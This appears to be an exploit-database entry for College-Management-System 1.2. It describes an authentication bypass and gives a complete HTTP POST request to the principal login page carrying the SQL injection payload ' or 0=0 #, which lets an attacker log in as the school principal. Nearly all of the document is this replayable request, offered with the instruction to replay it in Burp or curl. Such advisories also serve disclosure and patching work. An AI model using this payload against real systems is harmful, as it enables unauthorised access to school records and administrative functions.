College-Management-System 1.2 Authentication Bypass

`# Exploit Title: College-Management-System 1.2 - Authentication Bypass  
# Author: Cakes  
# Discovery Date: 2019-09-14  
# Vendor Homepage: https://github.com/ajinkyabodade/College-Management-System  
# Software Link: https://github.com/ajinkyabodade/College-Management-System/archive/master.zip  
# Tested Version: 1.2  
# Tested on OS: CentOS 7  
# CVE: N/A  
  
# Discription:  
# Easy authentication bypass vulnerability on the application   
# allowing the attacker to log in as the school principal.  
  
# Simply replay the below Burp request or use Curl.  
# Payload: ' or 0=0 #  
  
POST /college/principalcheck.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://TARGET/college/principalcheck.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 36  
Cookie: PHPSESSID=9bcu5lvfilimmvfnkinqlc61l9; Logmon=ca43r5mknahus9nu20jl9qca0q  
Connection: close  
Upgrade-Insecure-Requests: 1  
DNT: 1  
  
emailid='%20or%200%3d0%20#&pass=asdf  
`